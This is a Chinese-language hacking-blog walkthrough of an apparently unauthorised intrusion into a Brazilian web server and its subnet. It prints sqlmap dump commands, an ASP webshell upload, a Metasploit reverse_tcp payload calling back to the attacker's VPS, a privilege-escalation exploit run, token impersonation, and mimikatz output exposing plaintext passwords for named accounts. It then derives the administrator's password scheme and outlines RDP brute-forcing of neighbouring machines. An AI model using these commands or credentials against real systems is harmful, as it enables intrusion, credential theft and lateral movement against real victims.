0x01 前言:黑客19 – 引领实战潮流,回归技术本质,以行动推动行业技术进步
唯一的联系方式[email protected] 和 [email protected]
欢迎转载,但请注明原始链接,谢谢!
注:本博客仅供技术研究。如果其信息用于其他目的,用户将承担全部法律和连带责任。本博客不承担任何法律和连带责任。请遵守中华人民共和国安全法.
0x02 Getshell过程网站基本信息探索:
目标站点:服务器IP:189.**.**.204(巴西)环境平台:ASP.NET服务器系统:Windows该网站禁止在中国IP访问,只能在墙上做测试,先用Chrome浏览器插件和指纹识别网站未能获得服务器系统的具体版本,但根据个人经验,这应该是台湾Windows2003。
Chrome浏览器插件:ServerDetails1.0.12、Wappalyzer服务器系统识别:http://fuwuqixitongshibie.51240.com/?q=网站背景地址:http://www.that****elos.com.br/admin/接着我们用Safe3WVS_v10.1成功找到几个注入漏洞扫描工具并使用sqlmap工具验证这个注入点确实存在,管理员的表和列已经跑出来了,但是管理员的用户密码报错了。
跑表名:
sqlmap-u"http://www.that****elos.com.br/detalhe_produto.asp?codProd=510"--tables[7tables]:categorias,clientes,destaques,itens,pedidos,produtos,usuarios跑列名:
sqlmap-u"http://www.that****elos.com.br/detalhe_produto.asp?codProd=510"-T"usuarios"--columns[5columns]:codusuario,email,login,nome,senha跑数据:
sqlmap-u"http://www.that****elos.com.br/detalhe_produto.asp?codProd=510"--dbmsaccess-T"usuarios"-C"email,login,senha"--dump--threads10为什么不在这里纠结?sqlmap运行数据时会报告错误。由于管理员的表格和列已经获得,您可以直接使用其他注入工具运行管理员的用户密码,如:阿D、明小子等注入工具,灵活使用?!
通过此注入点成功获取网站管理员账号和密码,登录网站后台,找到无过滤的上传,直接传输ASP图片马,如此顺利地得到了这个站Webshell权限。
0x03 实战提权过程服务器基本信息检测:
端口开放:21、80、135、443、445、873、65432补丁情况:打了750 系统补丁(Windows2003x86)脚本探测:只支持ASP不支持脚本文件PHP、ASPX磁盘权限:C有些文件夹有可读/写作权限,不能跨站搞了这么久也是第一次遇到打750 补丁的2003机器,虽然知道利用提权EXP机会不大,但还是要试试。也许它是成功的。试试以下提权EXP,最终结果出乎意料,失败了。
pr.exe,Churrasco.exe,2003.exe,NDProxy.exe,iis6.exe,MS11-046.exe,MS10-048.exe,MS11-080.exe,MS13-051.exe,debug.exe......让我们再试一次ms14_058_track_popup_menu由于目标禁止国内提权模块IP因此,在运行攻击载荷文件后,无法获得目标机器会话,因此作者在国外VPS测试。
[email protected]:~#msfpayloadwindows/meterpreter/reverse_tcpLHOST=37.*.**.52LPORT=443X>/media/sf_Temp/test.exemsf > use exploit/multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse_tcpmsf exploit(handler) > set lhost 37.*.**.52msf exploit(handler) > set lport 443msf exploit(handler) > exploit[*] Started reverse handler on 37.*.**.52:443[*] Starting the payload handler...[*] Sending stage (770048 bytes) to 189.**.**.204[*] Meterpreter session 1 opened (37.*.**.52:443 -> 189.**.**.204:1150) at 2015-01-01 13:48:01 0000查看当前会话权限和系统信息,尝试使用getsystem提高权利,失败,将当前会话放在后台运行,继续加载ms14_058_track_popup_menu测试提权模块。
meterpreter>getuidServerusername:$U$AUTORIDADENTSERVIOLOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414cmeterpreter>getsystem[-]priv_elevate_getsystem:Operationfailed:Accessisdenied.meterpreter>sysinfoComputer:WEB200OS:Windows.NETServer(Build3790,ServicePack2).Architecture:x86SystemLanguage:pt_BRMeterpreter:x86/win32meterpreter>background[*]Backgroundingsession1...msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menumsf exploit(ms14_058_track_popup_menu) > set payload windows/meterpreter/reverse_tcpmsf exploit(ms14_058_track_popup_menu) > set lhost 37.*.**.52msf exploit(ms14_058_track_popup_menu) > set lport 443msf exploit(ms14_058_track_popup_menu) > set session 1msf exploit(ms14_058_track_popup_menu) > exploit[*] Started reverse handler on 37.*.**.52:443[*] Launching notepad to host the exploit...[ ] Process 11464 launched.[*] Reflectively injecting the exploit DLL into 11464...[*] Injecting exploit into 11464...[*] Exploit injected. Injecting payload into 11464...[*] Payload injected. Executing exploit...[ ] Exploit finished,wait for (hopefully privileged) payload execution to complete.[*] Sending stage (770048 bytes) to 189.**.**.204[*] Meterpreter session 2 opened (37.*.**.52:443 -> 189.**.**.204:1788) at 2015-01-01 14:03:44 0000
这里可以看到使用ms14_058_track_popup_menu获得提权模块后,获得新的提权模块meterpreter会话,但仍是普通权限,在以往的实战案例中多次遇到过这种情况,具体原因不明,也没有深入研究。
meterpreter>getuidServerusername:$U$AUTORIDADENTSERVIOLOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414cmeterpreter>getsystem[-]priv_elevate_getsystem:Operationfailed:Accessisdenied.meterpreter>hashdump[-]priv_passwd_get_sam_hashes:Operationfailed:Theparameterisincorrect.ms14_058_track_popup_menu提权模块失败,作者陷入深思……,突然想到meterpreter下还有个incognito拓展,可以用来盗窃目标主机的令牌或假冒用户。
我们先来看看这个服务器里有多少管理员用户,方便后面找管理员的可用令牌。除了默认情况外,我们还可以看到Administrator,还有一个cronjob。
list_tokens -u列出可用户令牌,列出的可用户令牌太多,作者用…Snip…省略部分,可以看到可用户令牌中有一些cronjob管理员令牌。
列出可用户令牌:
meterpreter > use incognitoLoading extension incognito...success.meterpreter > list_tokens -u[-] Warning: Not currently running as SYSTEM,not all tokens will be available Call rev2self if primary process token is SYSTEMDelegation Tokens Available========================================AUTORIDADE NT\SERVI?O LOCALWEB200\aewcorpWEB200\attcorreiaWEB200\cronjobWEB200\sueddesigner...Snip...
Impersonation Tokens Available========================================WEB200\aluggoWEB200\ciacompropagandaWEB200\datahomeWEB200\ipirangacontabilWEB200\web200...Snip...
假冒cronjob用户令牌:
meterpreter>impersonate_tokenWEB200\cronjob[-]Warning:NotcurrentlyrunningasSYSTEM,notalltokenswillbeavailableCallrev2selfifprimaryprocesstokenisSYSTEM[ ]Delegationtokenavailable[ ]SuccessfullyimpersonateduserWEB200cronjobmeterpreter>getuidServerusername:WEB200estoquedomarmoristameterpreter>hashdump...Snip...当前机器IP地址为:189.**.**.204,远程端口号:65432,计算机名称:WEB200,使用meterpreter下的mimikatz法国神器捕获的目标系统明确密码如下,管理员哈希密码无法破解(>=16位)。
0;980627246NTLMWEB200Administradorw3b200r0x02711140;3450401626NTLMWEB200cronjob016b2023ee9b897ca6430;1214252650NTLMWEB200web200p1cadasgalaxi4s0;1236893630NTLMWEB200thatycabelosvbs1473690;74485534NTLMWEB200iis_user123abc!#利用一些常见的漏洞再次获得C段中189.**.**.9、189.**.**.55服务器的Webshell权限,在提权时发现与刚提到的204服务器有很多相似之处。
例如,上传部分文件夹权限cmd.exe执行命令、服务器系统主机名称、部分命令权限不足、同一远程端口号等。
我们只是不能执行自己上传的提权EXP,提示0x2331错误如下图所示。但似乎只要服务器重启,提权就可以正常执行。EXP或者你可以试着提高上传的权利EXP后缀改为TXT。
0x04 密码/域名规则根据几台机器获得的一些信息和个人经验,基本上可以确定这一点C段中的所有机器都是同一个管理员,所以管理员使用的密码必须有规律。接下来,让我们分析一下他的密码规则。
(1) 密码规律分析
几台机器上常用的管理员有:Administrador,cronjob。189.**.**.204服务器Administrador密码为:w3b200r0x0271114,密码规则主要与主机名中的三位数有关IP地址无关。
w3b=固定值,200=计算机名称(3位数),r0x0271114=固定值使用WPS提取主机名3位数字的表格函数:=RIGHT(H2,3),组合新密码:=B2&C2&D2,最后,通过密码规律的组合C段189.**.**.9、189.**.**.55这两台机器的管理员密码如下图所示。
目前,我们只能通过已控机器知道他的主机名称,但我们还没有得到它C其他机器段Webshell如何获得他的主机名称?或者有没有办法直接进入?C段其他服务器呢?当然是有的,这里仅提供一个思路。
爆破思路:RDP默认端口是3389,赢了几台机器RDP端口为65432,我们可以根据发现的密码规则生成高效字典189.**.**.X这个段所有IP进行RDP爆破,主机名3位数控制在300,如果不能再增加。
(2) 域名规律分析
测试中多次看到主机名.test.net在访问了几个子域之后,我证实了我的想法:管理员在每个服务器上分析了这样一个子域,命名规则是:主机名称.test.net。
知道域名规律后,可以省去拿Webshell直接得到主机名,最后通过组合密码进入C其他机器测试了10多台OK的。
形象比喻:
C段内所有机器都沦陷 = 密码规则 主机名 域名规则= 父亲,主机名 = 儿子,域名规则 = 母亲,父亲和母亲都需要儿子,只有住在一起才能算是一个完整的家庭,缺一不可。
思路拓展:
根据域名法生成高效主机名.test.net子域字典,主机名控制在300,然后通过脚本批量Ping得到这些子域C段存活机IP地址和相应的主机名称,然后根据密码规则组合新密码。
可直接使用WPS表格函数组合一个新密码:=B2&(RIGHT(LEFT(E2,6),3)&D2),最后,通过密码规律的组合C如下图所示。
0x05 小结我们经常在内部/域环境中遇到通用/规则密码,通常使用主机名称IP123/qwe/[email protected]#作为规则,您还可以分析网站背景、中间件、数据库、第三方软件等密码的共同点和规则,然后组合生成高效字典进行爆破和借用@亮神的一句话:渗透的本质是信息搜集。
这个渗透教程到此结束!希望大家看看借鉴。如果您有技术咨询,请联系我们
黑客19引领实战潮流,回归技术本质,以行动推动行业技术进步
唯一的联系方式[email protected] 和 [email protected]
欢迎转载,但请注明原始链接,谢谢!